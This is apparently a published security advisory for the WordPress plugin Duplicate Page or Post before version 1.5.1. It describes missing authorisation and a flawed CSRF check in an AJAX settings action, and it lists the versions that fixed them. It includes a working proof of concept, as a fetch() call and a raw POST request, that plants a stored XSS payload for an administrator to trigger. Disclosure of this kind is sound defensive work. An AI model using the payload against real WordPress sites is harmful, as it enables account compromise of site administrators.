WordPress Plugin Vulnerabilities
Duplicate Page or Post < 1.5.1 - Arbitrary Settings Update to Stored XSS
Description
The plugin does not have any authorisation and has a flawed CSRF check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin's settings, or perform such attack via CSRF. Furthermore, due to the lack of escaping, this could lead to Stored Cross-Site Scripting issues
v1.4.7 added authorisation, 1.4.8 added escaping, 1.5.1 fixed the flawed CSRF check
Proof of Concept
fetch("https://example.com/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded" }, "body": new URLSearchParams({"action": "wpdevart_duplicate_post_parametrs_save_in_db", "title_prefix": '" style=animation-name:rotation onanimationstart=alert(/XSS/) p'}), "method": "POST", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 140 Connection: close Cookie: [any authenticated user] action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+p The XSS will be triggered when an admin access the plugin's settings page: https://example.com/wp-admin/admin.php?page=wpda_duplicate_post_menu
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-01-24 (about 2 years ago)
Added
2022-01-24 (about 2 years ago)
Last Updated
2022-04-10 (about 2 years ago)